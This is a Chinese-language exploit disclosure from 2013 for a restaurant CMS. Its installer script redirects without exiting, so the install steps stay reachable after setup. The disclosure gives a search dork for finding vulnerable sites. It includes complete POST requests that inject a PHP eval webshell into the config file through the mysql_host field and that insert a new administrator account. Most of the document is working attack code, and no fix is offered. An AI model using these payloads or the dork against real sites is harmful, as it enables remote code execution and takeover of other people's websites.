餐厅cms getshell漏洞

发布日期:2013-01.04
发布作者:BHST

漏洞类型:代码执行

关键字:inurl:index.php?m=shopcar

问题出在/install/index.php文件。在程序安装完后,会在程序根目录下生成install.lock文件。而/install/index.php在判断是否有install.lock时出现错误。

[php]

<?php
if(file_exists("../install.lock"))
{
header("Location: ../");//没有退出
}

//echo 'tst';exit;
require_once("init.php");
if(empty($_REQUEST['step']) || $_REQUEST['step']==1)
{[/php]

可见在/install/index.php存在时,只是header做了302重定向并没有退出,也就是说下面的逻辑还是会执行的。在这里至少可以产生两个漏洞。

1、getshell(很危险)

[php]

if(empty($_REQUEST['step']) || $_REQUEST['step']==1)
{
$smarty-&gt;assign("step",1);
$smarty-&gt;display("index.html");
}elseif($_REQUEST['step']==2)
{
$mysql_host=trim($_POST['mysql_host']);
$mysql_user=trim($_POST['mysql_user']);
$mysql_pwd=trim($_POST['mysql_pwd']);
$mysql_db=trim($_POST['mysql_db']);
$tblpre=trim($_POST['tblpre']);
$domain==trim($_POST['domain']);
$str="&lt;?php \r\n";
$str.='define("MYSQL_HOST","'.$mysql_host.'");'."\r\n";
$str.='define("MYSQL_USER","'.$mysql_user.'");'."\r\n";
$str.='define("MYSQL_PWD","'.$mysql_pwd.'");'."\r\n";
$str.='define("MYSQL_DB","'.$mysql_db.'");'."\r\n";
$str.='define("MYSQL_CHARSET","GBK");'."\r\n";
$str.='define("TABLE_PRE","'.$tblpre.'");'."\r\n";
$str.='define("DOMAIN","'.$domain.'");'."\r\n";
$str.='define("SKINS","default");'."\r\n";
$str.='?&gt;';
file_put_contents("../config/config.inc.php",$str);//将提交的数据写入php文件[/php]

上面的代码将POST的数据直接写入了../config/config.inc.php文件,那么我们提交如下POST包,即可获得一句话木马

 

-----------post----------
POST /canting/install/index.php?m=index&amp;step=2 HTTP/1.1
Host: 192.168.80.129
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:17.0) Gecko/17.0 Firefox/17.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://192.168.80.129/canting/install/index.php?step=1
Cookie: ck_ss_id=1354023211djfa6ggefdifvoa3kvhi61sc42; PHPSESSID=djfa6ggefdifvoa3kvhi61sc42
Content-Type: application/x-www-form-urlencoded
Content-Length: 126

mysql_host=test");@eval($_POST[x]);?&gt;//&amp;mysql_user=1&amp;mysql_pwd=2&amp;mysql_db=3&amp;tblpre=koufu_&amp;domain=www&amp;button=%CF%C2%D2%BB%B2%BD
---------post---------- 

但是这个方法很危险,将导致网站无法运行。

2、直接添加管理员

[php]

elseif($_REQUEST['step']==5)
{
if($_POST)
{ require_once("../config/config.inc.php");
$link=mysql_connect(MYSQL_HOST,MYSQL_USER,MYSQL_PWD);
mysql_select_db(MYSQL_DB,$link);
mysql_query("SET NAMES ".MYSQL_CHARSET );
mysql_query("SET sql_mode=''");
$adminname=trim($_POST['adminname']);
$pwd1=trim($_POST['pwd1']);
$pwd2=trim($_POST['pwd2']);
if(empty($adminname))
{
echo "&lt;script&gt;alert('管理员不能为空');history.go(-1);&lt;/script&gt;";
exit();
}
if(($pwd1!=$pwd2) or empty($pwd1))
{
echo "&lt;script&gt;alert('两次输入的密码不一致');history.go(-1);&lt;/script&gt;";//这里也是没有退出
}
mysql_query("insert into ".TABLE_PRE."admin(adminname,password,isfounder) values('$adminname','".umd5($pwd1)."',1)");//直接可以插入一个管理员
}[/php]

这样的话我们就可以直接插入一个管理员帐号,语句如下:

POST /canting/install/index.php?m=index&amp;step=5 HTTP/1.1
Host: 192.168.80.129
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:17.0) Gecko/17.0 Firefox/17.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://192.168.80.129/canting/install/index.php?step=1
Cookie: ck_ss_id=1354023211djfa6ggefdifvoa3kvhi61sc42; PHPSESSID=djfa6ggefdifvoa3kvhi61sc42
Content-Type: application/x-www-form-urlencoded
Content-Length: 46
adminname=qingshen&amp;pwd1=qingshen&amp;pwd2=qingshen 

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